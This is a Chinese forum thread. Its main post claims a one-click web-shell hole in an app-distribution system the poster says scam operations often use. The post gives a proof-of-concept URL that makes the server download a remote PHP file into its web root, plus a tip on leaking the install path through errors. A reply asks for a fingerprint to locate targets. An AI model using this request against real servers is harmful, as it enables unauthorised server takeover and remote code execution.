搜索
    Hi~登录注册
    查看: 210|回复: 1
    收起左侧

    某分发系统一键GETSHELL

    [复制链接]

    15

    主题

    0

    精华

    13 小时

    在线时间

    新手上路

    Rank: 1

    积分
    10
    发表于 2022-7-13 14:00:50 | 显示全部楼层 |阅读模式

    APP分发系统,杀猪盘等常用。

    [email]WX20220713-135755@2x.png[/email]

    GIT上找到源码,发现一处直接GETSHELL

    [email]WX20220713-140003@2x.png[/email]

    需要物理路径,一般可以直接报错出来,不行就测试吧~

    [email]WX20220713-140031@2x.png[/email]

    POC:/?s=user/Profile/download&url=http://xxx/a.php&path=/www/wwwroot/xxx/public/

    回复

    使用道具 举报

    0

    主题

    0

    精华

    5 小时

    在线时间

    新手上路

    Rank: 1

    积分
    1
    发表于 2022-9-26 11:24:57 | 显示全部楼层
    大佬,有指纹吗,可以分享一下吗
    回复 支持 反对

    使用道具 举报

    游客
    回复
    您需要登录后才可以回帖 登录 | 获取账号

    快速回复 返回顶部 返回列表